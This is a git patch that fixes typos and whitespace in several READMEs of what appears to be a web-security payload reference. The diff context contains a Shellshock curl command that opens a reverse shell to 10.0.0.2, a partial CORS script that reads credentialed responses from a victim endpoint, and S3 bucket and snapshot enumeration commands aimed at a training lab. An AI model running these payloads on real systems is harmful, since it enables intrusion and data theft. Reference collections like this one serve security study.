From 7e3db3a3f4849715fc647d9a179459d172ca7167 Mon Sep 17 00:00:00 2001
From: lanjelot <lanjelot@gmail.com>
Date: Sun, 13 Dec 2020 04:34:10 +1100
Subject: [PATCH] Fix typos

---
 AWS Amazon Bucket S3/README.md  | 6 +++---
 CORS Misconfiguration/README.md | 4 ++--
 CSV Injection/README.md         | 4 ++--
 CVE Exploits/README.md          | 2 +-
 Tabnabbing/README.md            | 2 +-
 5 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/AWS Amazon Bucket S3/README.md b/AWS Amazon Bucket S3/README.md
index 6f14f72..1a73cf7 100644
--- a/AWS Amazon Bucket S3/README.md	
+++ b/AWS Amazon Bucket S3/README.md	
@@ -75,7 +75,7 @@ eg: http://redacted/avatar/123%C0
 
 ```bash
 aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
-aws s3 ls  s3://flaws.cloud/ --no-sign-request --region us-west-2
+aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
 ```
 
 You can get the region with a dig and nslookup
@@ -127,7 +127,7 @@ $ aws --profile flaws sts get-caller-identity
 
 
 $ aws --profile profile_name ec2 describe-snapshots
-$ aws --profile flaws  ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2    
+$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
 "SnapshotId": "snap-XXXX342abd1bdcb89",
 
 Create a volume using snapshot
@@ -192,4 +192,4 @@ pip install -r requirements.txt
 * [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
 * [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
 * [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
-* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)
\ No newline at end of file
+* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf)
diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md
index 32f00ad..12f8dad 100644
--- a/CORS Misconfiguration/README.md	
+++ b/CORS Misconfiguration/README.md	
@@ -113,7 +113,7 @@ origin in the request:
 
 ```html
 <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
-  var req = new XMLHttpRequest ();
+  var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://victim.example.com/endpoint',true);
   req.withCredentials = true;
@@ -176,7 +176,7 @@ function reqListener() {
 ```
 
 ### Vulnerable Example: Expanding the Origin / Regex Issues
-Occasionally, certain expantions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header. 
+Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
 
 #### Vulnerable Implementation (Example 1)
 
diff --git a/CSV Injection/README.md b/CSV Injection/README.md
index 8a20586..a6f54e5 100644
--- a/CSV Injection/README.md	
+++ b/CSV Injection/README.md	
@@ -1,6 +1,6 @@
 # CSV Injection (Formula Injection)
 
-Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
+Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
 
 ## Exploit
 
@@ -45,4 +45,4 @@ Any formula can be started with
 * [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
 * [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
 * [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
-* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
\ No newline at end of file
+* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
diff --git a/CVE Exploits/README.md b/CVE Exploits/README.md
index dff27ae..821abc8 100644
--- a/CVE Exploits/README.md	
+++ b/CVE Exploits/README.md	
@@ -60,4 +60,4 @@ curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/44
 * [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
 * [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
 * [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
-* [CVE-2019-0708 (BlueKeep) - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
+* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
diff --git a/Tabnabbing/README.md b/Tabnabbing/README.md
index 3c10db4..5b5ce72 100644
--- a/Tabnabbing/README.md
+++ b/Tabnabbing/README.md
@@ -1,6 +1,6 @@
 # Tabnabbing
 
-> Reverse tabnabbing is an attack where a page linked from the target page is able to rewrite that page, for example to replace it with a phishing site. As the user was originally on the correct page they are less likely to notice that it has been changed to a phishing site, especially it the site looks the same as the target. If the user authenticates to this new page then their credentials (or other sensitive data) are sent to the phishing site rather than the legitimate one. 
+> Reverse tabnabbing is an attack where a page linked from the target page is able to rewrite that page, for example to replace it with a phishing site. As the user was originally on the correct page they are less likely to notice that it has been changed to a phishing site, especially if the site looks the same as the target. If the user authenticates to this new page then their credentials (or other sensitive data) are sent to the phishing site rather than the legitimate one.
 
 ## Summary